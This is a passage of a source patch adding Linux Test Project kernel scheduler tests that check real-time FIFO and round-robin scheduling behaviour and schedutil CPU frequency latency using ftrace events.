+	cfs_thread_sched_params.sched_priority = 0;
+	ERROR_CHECK(pthread_attr_setschedparam(&cfs_thread_attrs,
+					       &cfs_thread_sched_params));
+
+	ERROR_CHECK(pthread_attr_init(&rt_thread_attrs));
+	ERROR_CHECK(pthread_attr_setinheritsched(&rt_thread_attrs,
+						 PTHREAD_EXPLICIT_SCHED));
+	ERROR_CHECK(pthread_attr_setschedpolicy(&rt_thread_attrs,
+						SCHED_FIFO));
+	rt_thread_sched_params.sched_priority = 80;
+	ERROR_CHECK(pthread_attr_setschedparam(&rt_thread_attrs,
+					       &rt_thread_sched_params));
+
+	sem_init(&sem, 0, 0);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&cfs_thread, &cfs_thread_attrs, cfs_fn, NULL);
+	SAFE_PTHREAD_CREATE(&rt_thread, &rt_thread_attrs, rt_fn, NULL);
+	SAFE_PTHREAD_JOIN(cfs_thread, NULL);
+	SAFE_PTHREAD_JOIN(rt_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "RT task did not execute within required "
+			"latency of %d usec.\n", MAX_EXEC_LATENCY_US);
+	else
+		tst_res(TPASS, "RT task executed within required latency "
+			"of %d usec..\n", MAX_EXEC_LATENCY_US);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/sched_prio_3_fifo.c b/testcases/kernel/sched/eas/sched_prio_3_fifo.c
new file mode 100644
index 0000000..4244f17
--- /dev/null
+++ b/testcases/kernel/sched/eas/sched_prio_3_fifo.c
@@ -0,0 +1,391 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * Six RT FIFO tasks are created and affined to the same CPU. They execute
+ * with a particular pattern of overlapping eligibility to run. The resulting
+ * execution pattern is checked to see that the tasks execute as expected given
+ * their priorities.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <semaphore.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_wakeup sched_switch sched_process_exit"
+
+static int rt_task_tids[6];
+
+/*
+ * Create two of each RT FIFO task at each priority level. Ensure that
+ * - higher priority RT tasks preempt lower priority RT tasks
+ * - newly woken RT tasks at the same priority level do not preempt currently
+ *   running RT tasks
+ *
+ * Affine all tasks to CPU 0.
+ * Have rt_low_fn 1 run first. It wakes up rt_low_fn 2, which should not run
+ * until rt_low_fn 1 sleeps/exits.
+ * rt_low_fn2 wakes rt_med_fn1. rt_med_fn1 should run immediately, then sleep,
+ * allowing rt_low_fn2 to complete.
+ * rt_med_fn1 wakes rt_med_fn2, which should not run until rt_med_fn 2
+ * sleeps/exits... (etc)
+ */
+static sem_t sem_high_b;
+static sem_t sem_high_a;
+static sem_t sem_med_b;
+static sem_t sem_med_a;
+static sem_t sem_low_b;
+static sem_t sem_low_a;
+
+enum {
+	RT_LOW_FN_A_TID = 0,
+	RT_LOW_FN_B_TID,
+	RT_MED_FN_A_TID,
+	RT_MED_FN_B_TID,
+	RT_HIGH_FN_A_TID,
+	RT_HIGH_FN_B_TID,
+};
+
+struct expected_event {
+	int event_type;
+	/*
+	 * If sched_wakeup, pid being woken.
+	 * If sched_switch, pid being switched to.
+	 */
+	int event_data;
+};
+static struct expected_event events[] = {
+	/* rt_low_fn_a wakes up rt_low_fn_b:
+	 *   sched_wakeup(rt_low_fn_b) */
+	{ .event_type = TRACE_RECORD_SCHED_WAKEUP,
+		.event_data = RT_LOW_FN_B_TID},
+	/* TODO: Expect an event for the exit of rt_low_fn_a. */
+	/* 3ms goes by, then rt_low_fn_a exits and rt_low_fn_b starts running */
+	{ .event_type = TRACE_RECORD_SCHED_SWITCH,
+		.event_data = RT_LOW_FN_B_TID},
+	/* rt_low_fn_b wakes rt_med_fn_a which runs immediately */
+	{ .event_type = TRACE_RECORD_SCHED_WAKEUP,
+		.event_data = RT_MED_FN_A_TID},
+	{ .event_type = TRACE_RECORD_SCHED_SWITCH,
+		.event_data = RT_MED_FN_A_TID},
+	/* rt_med_fn_a sleeps, allowing rt_low_fn_b time to exit */
+	{ .event_type = TRACE_RECORD_SCHED_SWITCH,
+		.event_data = RT_LOW_FN_B_TID},
+	/* TODO: Expect an event for the exit of rt_low_fn_b. */
+	{ .event_type = TRACE_RECORD_SCHED_WAKEUP,
+		.event_data = RT_MED_FN_A_TID},
+	{ .event_type = TRACE_RECORD_SCHED_SWITCH,
+		.event_data = RT_MED_FN_A_TID},
+	/* rt_med_fn_a wakes rt_med_fn_b */
+	{ .event_type = TRACE_RECORD_SCHED_WAKEUP,
+		.event_data = RT_MED_FN_B_TID},
+	/* 3ms goes by, then rt_med_fn_a exits and rt_med_fn_b starts running */
+	/* TODO: Expect an event for the exit of rt_med_fn_a */
+	{ .event_type = TRACE_RECORD_SCHED_SWITCH,
+		.event_data = RT_MED_FN_B_TID},
+	/* rt_med_fn_b wakes up rt_high_fn_a which runs immediately */
+	{ .event_type = TRACE_RECORD_SCHED_WAKEUP,
+		.event_data = RT_HIGH_FN_A_TID},
+	{ .event_type = TRACE_RECORD_SCHED_SWITCH,
+		.event_data = RT_HIGH_FN_A_TID},
+	/* rt_high_fn_a sleeps, allowing rt_med_fn_b time to exit */
+	{ .event_type = TRACE_RECORD_SCHED_SWITCH,
+		.event_data = RT_MED_FN_B_TID},
+	/* TODO: Expect an event for the exit of rt_med_fn_b */
+	{ .event_type = TRACE_RECORD_SCHED_WAKEUP,
+		.event_data = RT_HIGH_FN_A_TID},
+	{ .event_type = TRACE_RECORD_SCHED_SWITCH,
+		.event_data = RT_HIGH_FN_A_TID},
+	/* rt_high_fn_a wakes up rt_high_fn_b */
+	{ .event_type = TRACE_RECORD_SCHED_WAKEUP,
+		.event_data = RT_HIGH_FN_B_TID},
+	/* 3ms goes by, then rt_high_fn_a exits and rt_high_fn_b starts running */
+	/* TODO: Expect an event for the exit of rt_high_fn_a */
+	{ .event_type = TRACE_RECORD_SCHED_SWITCH,
+		.event_data = RT_HIGH_FN_B_TID},
+};
+
+static void *rt_high_fn_b(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_task_tids[RT_HIGH_FN_B_TID] = gettid();
+	affine(0);
+
+	/* Wait for rt_high_fn_a to wake us up. */
+	sem_wait(&sem_high_b);
+	/* Run after rt_high_fn_a exits. */
+
+	return NULL;
+}
+
+static void *rt_high_fn_a(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_task_tids[RT_HIGH_FN_A_TID] = gettid();
+	affine(0);
+
+	/* Wait for rt_med_fn_b to wake us up. */
+	sem_wait(&sem_high_a);
+
+	/* Sleep, allowing rt_med_fn_b a chance to exit. */
+	usleep(1000);
+
+	/* Wake up rt_high_fn_b. We should continue to run though. */
+	sem_post(&sem_high_b);
+
+	/* Busy wait for just a bit. */
+	burn(3000, 0);
+
+	return NULL;
+}
+
+static void *rt_med_fn_b(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_task_tids[RT_MED_FN_B_TID] = gettid();
+	affine(0);
+
+	/* Wait for rt_med_fn_a to wake us up. */
+	sem_wait(&sem_med_b);
+	/* Run after rt_med_fn_a exits. */
+
+	/* This will wake up rt_high_fn_a which will run immediately, preempting
+	 * us. */
+	sem_post(&sem_high_a);
+
+	return NULL;
+}
+
+static void *rt_med_fn_a(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_task_tids[RT_MED_FN_A_TID] = gettid();
+	affine(0);
+
+	/* Wait for rt_low_fn_b to wake us up. */
+	sem_wait(&sem_med_a);
+
+	/* Sleep, allowing rt_low_fn_b a chance to exit. */
+	usleep(3000);
+
+	/* Wake up rt_med_fn_b. We should continue to run though. */
+	sem_post(&sem_med_b);
+
+	/* Busy wait for just a bit. */
+	burn(3000, 0);
+
+	return NULL;
+}
+
+static void *rt_low_fn_b(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_task_tids[RT_LOW_FN_B_TID] = gettid();
+	affine(0);
+
+	/* Wait for rt_low_fn_a to wake us up. */
+	sem_wait(&sem_low_b);
+	/* Run after rt_low_fn_a exits. */
+
+	/* This will wake up rt_med_fn_a which will run immediately, preempting
+	 * us. */
+	sem_post(&sem_med_a);
+
+	/* So the previous sem_post isn't actually causing a sched_switch
+	 * to med_a immediately - this is running a bit longer and exiting.
+	 * Delay here. */
+	burn(1000, 0);
+
+	return NULL;
+}
+
+/* Put real task tids into the expected events. */
+static void fixup_expected_events(void)
+{
+	int i;
+	int size = sizeof(events)/sizeof(struct expected_event);
+
+	for (i = 0; i < size; i++)
+		events[i].event_data = rt_task_tids[events[i].event_data];
+}
+
+static void *rt_low_fn_a(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_task_tids[RT_LOW_FN_A_TID] = gettid();
+	affine(0);
+
+	/* Give all other tasks a chance to set their tids and block. */
+	usleep(3000);
+
+	fixup_expected_events();
+
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "TEST START");
+
+	/* Wake up rt_low_fn_b. We should continue to run though. */
+	sem_post(&sem_low_b);
+
+	/* Busy wait for just a bit. */
+	burn(3000, 0);
+
+	return NULL;
+}
+
+/* Returns whether the given tid is a tid of one of the RT tasks in this
+ * testcase. */
+static int rt_tid(int tid)
+{
+	int i;
+	for (i = 0; i < 6; i++)
+		if (rt_task_tids[i] == tid)
+			return 1;
+	return 0;
+}
+
+static int parse_results(void)
+{
+	int i;
+	int test_start = 0;
+	int event_idx = 0;
+	int events_size = sizeof(events)/sizeof(struct expected_event);
+
+	for (i = 0; i < num_trace_records; i++) {
+		if (trace[i].event_type == TRACE_RECORD_TRACING_MARK_WRITE &&
+		    !strcmp(trace[i].event_data, "TEST START"))
+			test_start = 1;
+
+		if (!test_start)
+			continue;
+
+		if (trace[i].event_type != TRACE_RECORD_SCHED_WAKEUP &&
+		    trace[i].event_type != TRACE_RECORD_SCHED_SWITCH)
+			continue;
+
+		if (trace[i].event_type == TRACE_RECORD_SCHED_SWITCH) {
+			struct trace_sched_switch *t = trace[i].event_data;
+			if (!rt_tid(t->next_pid))
+				continue;
+			if (events[event_idx].event_type !=
+			    TRACE_RECORD_SCHED_SWITCH ||
+			    events[event_idx].event_data !=
+			    t->next_pid) {
+				printf("Test case failed, expecting event "
+				       "index %d type %d for tid %d, "
+				       "got sched switch to tid %d\n",
+				       event_idx,
+				       events[event_idx].event_type,
+				       events[event_idx].event_data,
+				       t->next_pid);
+				return -1;
+			}
+			event_idx++;
+		}
+
+		if (trace[i].event_type == TRACE_RECORD_SCHED_WAKEUP) {
+			struct trace_sched_wakeup *t = trace[i].event_data;
+			if (!rt_tid(t->pid))
+				continue;
+			if (events[event_idx].event_type !=
+			    TRACE_RECORD_SCHED_WAKEUP ||
+			    events[event_idx].event_data !=
+			    t->pid) {
+				printf("Test case failed, expecting event "
+				       "index %d type %d for tid %d, "
+				       "got sched wakeup to tid %d\n",
+				       event_idx,
+				       events[event_idx].event_type,
+				       events[event_idx].event_data,
+				       t->pid);
+				return -1;
+			}
+			event_idx++;
+		}
+
+		if (event_idx == events_size)
+			break;
+	}
+
+	if (event_idx != events_size) {
+		printf("Test case failed, "
+		       "did not complete all expected events.\n");
+		printf("Next expected event: event type %d for tid %d\n",
+		       events[event_idx].event_type,
+		       events[event_idx].event_data);
+		return -1;
+	}
+
+	return 0;
+}
+
+static void create_rt_thread(int prio, void *fn, pthread_t *rt_thread)
+{
+	pthread_attr_t rt_thread_attrs;
+	struct sched_param rt_thread_sched_params;
+
+	ERROR_CHECK(pthread_attr_init(&rt_thread_attrs));
+	ERROR_CHECK(pthread_attr_setinheritsched(&rt_thread_attrs,
+						 PTHREAD_EXPLICIT_SCHED));
+	ERROR_CHECK(pthread_attr_setschedpolicy(&rt_thread_attrs,
+						SCHED_FIFO));
+	rt_thread_sched_params.sched_priority = prio;
+	ERROR_CHECK(pthread_attr_setschedparam(&rt_thread_attrs,
+					       &rt_thread_sched_params));
+
+	SAFE_PTHREAD_CREATE(rt_thread, &rt_thread_attrs, fn, NULL);
+}
+
+static void run(void)
+{
+	pthread_t rt_low_a, rt_low_b;
+	pthread_t rt_med_a, rt_med_b;
+	pthread_t rt_high_a, rt_high_b;
+
+	sem_init(&sem_high_b, 0, 0);
+	sem_init(&sem_high_a, 0, 0);
+	sem_init(&sem_med_b, 0, 0);
+	sem_init(&sem_med_a, 0, 0);
+	sem_init(&sem_low_b, 0, 0);
+	sem_init(&sem_low_a, 0, 0);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	create_rt_thread(70, rt_low_fn_a, &rt_low_a);
+	create_rt_thread(70, rt_low_fn_b, &rt_low_b);
+	create_rt_thread(75, rt_med_fn_a, &rt_med_a);
+	create_rt_thread(75, rt_med_fn_b, &rt_med_b);
+	create_rt_thread(80, rt_high_fn_a, &rt_high_a);
+	create_rt_thread(80, rt_high_fn_b, &rt_high_b);
+
+	SAFE_PTHREAD_JOIN(rt_low_a, NULL);
+	SAFE_PTHREAD_JOIN(rt_low_b, NULL);
+	SAFE_PTHREAD_JOIN(rt_med_a, NULL);
+	SAFE_PTHREAD_JOIN(rt_med_b, NULL);
+	SAFE_PTHREAD_JOIN(rt_high_a, NULL);
+	SAFE_PTHREAD_JOIN(rt_high_b, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "RT FIFO tasks did not execute in the expected "
+			"pattern.\n");
+	else
+		tst_res(TPASS, "RT FIFO tasks executed in the expected "
+			"pattern.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/sched_prio_3_rr.c b/testcases/kernel/sched/eas/sched_prio_3_rr.c
new file mode 100644
index 0000000..8403da5
--- /dev/null
+++ b/testcases/kernel/sched/eas/sched_prio_3_rr.c
@@ -0,0 +1,179 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * Three RT RR tasks are created and affined to the same CPU. They execute as
+ * CPU hogs. Their runtime is checked to see that they share the CPU as
+ * expected.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <semaphore.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_wakeup sched_switch sched_process_exit"
+
+#define EXEC_MIN_PCT 33
+#define EXEC_MAX_PCT 34
+
+static sem_t sem;
+
+static int rt_a_tid;
+static int rt_b_tid;
+static int rt_c_tid;
+
+#define BUSY_WAIT_USECS 10000000
+static void *rt_b_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_b_tid = gettid();
+	affine(0);
+	sem_wait(&sem);
+	burn(BUSY_WAIT_USECS, 0);
+	return NULL;
+}
+
+static void *rt_c_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_c_tid = gettid();
+	affine(0);
+	sem_wait(&sem);
+	burn(BUSY_WAIT_USECS, 0);
+	return NULL;
+}
+
+static void *rt_a_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_a_tid = gettid();
+	affine(0);
+	/* Give all other tasks a chance to affine and block. */
+	usleep(3000);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "TEST START");
+	sem_post(&sem);
+	sem_post(&sem);
+	burn(BUSY_WAIT_USECS, 0);
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i, pct, rv;
+	int test_start = 0;
+	unsigned long long exec_start_us = 0;
+	unsigned long a_exec_us = 0;
+	unsigned long b_exec_us = 0;
+	unsigned long c_exec_us = 0;
+	unsigned long total;
+
+	for (i = 0; i < num_trace_records; i++) {
+		struct trace_sched_switch *t = trace[i].event_data;
+		unsigned long long segment_us;
+
+		if (trace[i].event_type == TRACE_RECORD_TRACING_MARK_WRITE &&
+		    !strcmp(trace[i].event_data, "TEST START")) {
+			/* We need to include this segment in A's exec time. */
+			exec_start_us = TS_TO_USEC(trace[i].ts);
+			test_start = 1;
+		}
+
+		if (!test_start)
+			continue;
+
+		if (trace[i].event_type != TRACE_RECORD_SCHED_SWITCH)
+			continue;
+
+		segment_us = TS_TO_USEC(trace[i].ts) - exec_start_us;
+		if (t->prev_pid == rt_a_tid)
+			a_exec_us += segment_us;
+		else if (t->prev_pid == rt_b_tid)
+			b_exec_us += segment_us;
+		else if (t->prev_pid == rt_c_tid)
+			c_exec_us += segment_us;
+		if (t->next_pid == rt_a_tid ||
+		    t->next_pid == rt_b_tid ||
+		    t->next_pid == rt_c_tid)
+			exec_start_us = TS_TO_USEC(trace[i].ts);
+	}
+
+	rv = 0;
+	total = a_exec_us + b_exec_us + c_exec_us;
+	pct = (a_exec_us * 100) / total;
+	rv |= (pct < EXEC_MIN_PCT || pct > EXEC_MAX_PCT);
+	printf("a exec time: %ld usec (%d%%)\n", a_exec_us, pct);
+	pct = (b_exec_us * 100) / total;
+	rv |= (pct < EXEC_MIN_PCT || pct > EXEC_MAX_PCT);
+	printf("b exec time: %ld usec (%d%%)\n", b_exec_us, pct);
+	pct = (c_exec_us * 100) / total;
+	rv |= (pct < EXEC_MIN_PCT || pct > EXEC_MAX_PCT);
+	printf("c exec time: %ld usec (%d%%)\n", c_exec_us, pct);
+
+	return rv;
+}
+
+static void create_rt_thread(int prio, void *fn, pthread_t *rt_thread)
+{
+	pthread_attr_t rt_thread_attrs;
+	struct sched_param rt_thread_sched_params;
+
+	ERROR_CHECK(pthread_attr_init(&rt_thread_attrs));
+	ERROR_CHECK(pthread_attr_setinheritsched(&rt_thread_attrs,
+						 PTHREAD_EXPLICIT_SCHED));
+	ERROR_CHECK(pthread_attr_setschedpolicy(&rt_thread_attrs,
+						SCHED_RR));
+	rt_thread_sched_params.sched_priority = prio;
+	ERROR_CHECK(pthread_attr_setschedparam(&rt_thread_attrs,
+					       &rt_thread_sched_params));
+
+	SAFE_PTHREAD_CREATE(rt_thread, &rt_thread_attrs, fn, NULL);
+}
+
+#define NUM_TASKS 3
+static void run(void)
+{
+	pthread_t rt_a, rt_b, rt_c;
+
+	sem_init(&sem, 0, 0);
+
+	printf("Running %d RT RR tasks for 10 seconds...\n", NUM_TASKS);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	create_rt_thread(70, rt_a_fn, &rt_a);
+	create_rt_thread(70, rt_b_fn, &rt_b);
+	create_rt_thread(70, rt_c_fn, &rt_c);
+
+	SAFE_PTHREAD_JOIN(rt_a, NULL);
+	SAFE_PTHREAD_JOIN(rt_b, NULL);
+	SAFE_PTHREAD_JOIN(rt_c, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "RT RR tasks did not receive the expected CPU "
+			"time (all between %d-%d %% CPU).\n", EXEC_MIN_PCT,
+			EXEC_MAX_PCT);
+	else
+		tst_res(TPASS, "RT RR tasks received the expected CPU time.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/sugov_latency.c b/testcases/kernel/sched/eas/sugov_latency.c
new file mode 100644
index 0000000..923948e
--- /dev/null
+++ b/testcases/kernel/sched/eas/sugov_latency.c
@@ -0,0 +1,230 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * A CFS task is affined to a particular CPU. The task runs as a CPU hog for a
+ * while then as a very small task for a while. The latency for the CPU
+ * frequency of the CPU to reach max and then min is verified.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_process_exit sched_process_fork cpu_frequency"
+
+#define MAX_FREQ_INCREASE_LATENCY_US 70000
+#define MAX_FREQ_DECREASE_LATENCY_US 70000
+
+static int test_cpu;
+
+#define BURN_MSEC 500
+static void *burn_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	int i = 0;
+	unsigned int scaling_min_freq, scaling_cur_freq;
+	char scaling_freq_file[60];
+
+	affine(test_cpu);
+
+	/*
+	 * wait a bit to allow any hacks to boost frequency on migration
+	 * to take effect
+	 */
+	usleep(200);
+
+	sprintf(scaling_freq_file,
+		"/sys/devices/system/cpu/cpu%d/cpufreq/scaling_min_freq",
+		test_cpu);
+	SAFE_FILE_SCANF(scaling_freq_file, "%d", &scaling_min_freq);
+
+	sprintf(scaling_freq_file,
+		"/sys/devices/system/cpu/cpu%d/cpufreq/scaling_cur_freq",
+		test_cpu);
+
+	/* wait for test_cpu to reach scaling_min_freq */
+	while(i++ < 10) {
+		usleep(100 * 1000);
+		SAFE_FILE_SCANF(scaling_freq_file, "%d",
+				&scaling_cur_freq);
+		if (scaling_cur_freq == scaling_min_freq)
+			break;
+	}
+	if (i >= 10) {
+		printf("Unable to reach scaling_min_freq before test!\n");
+		return NULL;
+	}
+
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "affined");
+	burn(BURN_MSEC * 1000, 0);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "small task");
+	burn(BURN_MSEC * 1000, 1);
+
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i;
+
+	int start_idx;
+	int sleep_idx;
+	unsigned int max_freq_seen = 0;
+	int max_freq_seen_idx;
+	unsigned int min_freq_seen = UINT_MAX;
+	int min_freq_seen_idx;
+
+	char scaling_freq_file[60];
+	unsigned int scaling_max_freq;
+	unsigned int scaling_min_freq;
+
+	unsigned int increase_latency_usec;
+	unsigned int decrease_latency_usec;
+
+	/* find starting timestamp of test */
+	for (i = 0; i < num_trace_records; i++)
+		if (trace[i].event_type == TRACE_RECORD_TRACING_MARK_WRITE &&
+		    !strcmp(trace[i].event_data, "affined"))
+			break;
+	if (i == num_trace_records) {
+		printf("Did not find start of burn thread in trace!\n");
+		return -1;
+	}
+	start_idx = i;
+
+	/* find timestamp when burn thread sleeps */
+	for (; i < num_trace_records; i++)
+		if (trace[i].event_type == TRACE_RECORD_TRACING_MARK_WRITE &&
+		    !strcmp(trace[i].event_data, "small task"))
+				break;
+	if (i == num_trace_records) {
+		printf("Did not find switch to small task of burn thread in "
+		       "trace!\n");
+		return -1;
+	}
+	sleep_idx = i;
+
+	/* find highest CPU frequency bewteen start and sleep timestamp */
+	for (i = start_idx; i < sleep_idx; i++)
+		if (trace[i].event_type == TRACE_RECORD_CPU_FREQUENCY) {
+			struct trace_cpu_frequency *t = trace[i].event_data;
+			if (t->cpu == test_cpu && t->state > max_freq_seen) {
+				max_freq_seen = t->state;
+				max_freq_seen_idx = i;
+			}
+		}
+	if (max_freq_seen == 0) {
+		printf("No freq events between start and sleep!\n");
+		return -1;
+	}
+
+	/* find lowest CPU frequency between sleep timestamp and end */
+	for (; i < num_trace_records; i++)
+		if (trace[i].event_type == TRACE_RECORD_CPU_FREQUENCY) {
+			struct trace_cpu_frequency *t = trace[i].event_data;
+			if (t->cpu == test_cpu && t->state < min_freq_seen) {
+				min_freq_seen = t->state;
+				min_freq_seen_idx = i;
+			}
+		}
+	if (min_freq_seen == UINT_MAX) {
+		printf("No freq events between sleep and end!\n");
+		return -1;
+	}
+
+	/* is highest CPU freq equal or greater than highest reported in
+	 * scaling_max_freq? */
+	sprintf(scaling_freq_file,
+		"/sys/devices/system/cpu/cpu%d/cpufreq/scaling_max_freq",
+		test_cpu);
+	SAFE_FILE_SCANF(scaling_freq_file, "%d", &scaling_max_freq);
+	if (max_freq_seen < scaling_max_freq) {
+		printf("CPU%d did not reach scaling_max_freq!\n",
+		       test_cpu);
+		return -1;
+	} else {
+		printf("CPU%d reached %d MHz during test "
+		       "(scaling_max_freq %d MHz).\n", test_cpu,
+		       max_freq_seen / 1000, scaling_max_freq / 1000);
+	}
+
+	/* is lowest CPU freq equal or less than scaling_min_freq? */
+	sprintf(scaling_freq_file,
+		"/sys/devices/system/cpu/cpu%d/cpufreq/scaling_min_freq",
+		test_cpu);
+	SAFE_FILE_SCANF(scaling_freq_file, "%d", &scaling_min_freq);
+	if (min_freq_seen > scaling_min_freq) {
+		printf("CPU%d did not reach scaling_min_freq!\n",
+		       test_cpu);
+		return -1;
+	} else {
+		printf("CPU%d reached %d MHz after test "
+		       "(scaling_min_freq %d Mhz).\n",
+		       test_cpu, min_freq_seen / 1000,
+		       scaling_min_freq / 1000);
+	}
+
+	/* calculate and check latencies */
+	increase_latency_usec = trace[max_freq_seen_idx].ts.sec * USEC_PER_SEC +
+		trace[max_freq_seen_idx].ts.usec;
+	increase_latency_usec -= trace[start_idx].ts.sec * USEC_PER_SEC +
+		trace[start_idx].ts.usec;
+
+	decrease_latency_usec = trace[min_freq_seen_idx].ts.sec * USEC_PER_SEC +
+		trace[min_freq_seen_idx].ts.usec;
+	decrease_latency_usec -= trace[sleep_idx].ts.sec * USEC_PER_SEC +
+		trace[sleep_idx].ts.usec;
+
+	printf("Increase latency: %d usec\n", increase_latency_usec);
+	printf("Decrease latency: %d usec\n", decrease_latency_usec);
+
+	return (increase_latency_usec > MAX_FREQ_INCREASE_LATENCY_US ||
+		decrease_latency_usec > MAX_FREQ_DECREASE_LATENCY_US);
+}
+
+static void run(void)
+{
+	pthread_t burn_thread;
+
+	tst_res(TINFO, "Max acceptable latency to fmax: %d usec\n",
+		MAX_FREQ_INCREASE_LATENCY_US);
+	tst_res(TINFO, "Max acceptable latency to fmin: %d usec\n",
+		MAX_FREQ_DECREASE_LATENCY_US);
+
+	test_cpu = tst_ncpus() - 1;
+	printf("CPU hog will be bound to CPU %d.\n", test_cpu);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&burn_thread, NULL, burn_fn, NULL);
+	SAFE_PTHREAD_JOIN(burn_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "Governor did not meet latency targets.\n");
+	else
+		tst_res(TPASS, "Governor met latency targets.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/sugov_stale_util.c b/testcases/kernel/sched/eas/sugov_stale_util.c
new file mode 100644
index 0000000..685d1bd
--- /dev/null
+++ b/testcases/kernel/sched/eas/sugov_stale_util.c
@@ -0,0 +1,235 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * This test attempts to verify that the schedutil governor does not take into
+ * account stale utilization from an idle CPU when calculating the frequency for
+ * a shared policy.
+ *
+ * This test is not yet complete and may never be. The CPU in question may
+ * receive spurious updates which push the stale deadline out, causing the test
+ * to fail.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <time.h>
+#include <semaphore.h>
+#include <stdlib.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sugov_next_freq sugov_util_update"
+
+#define MAX_TEST_CPUS 32
+static int policy_cpus[MAX_TEST_CPUS];
+static int policy_num_cpus = 0;
+
+static int test_cpu;
+static sem_t sem;
+
+/* sugov currently waits 1.125 * TICK_NSEC, which with HZ=300, is
+ * ~3.75ms for PELT
+ * On WALT, 1.125 * sched_ravg_window (20ms) is 22.5ms */
+#define MAX_STALE_USEC 22500
+/* The event task may not wake up right away due to timer slack. */
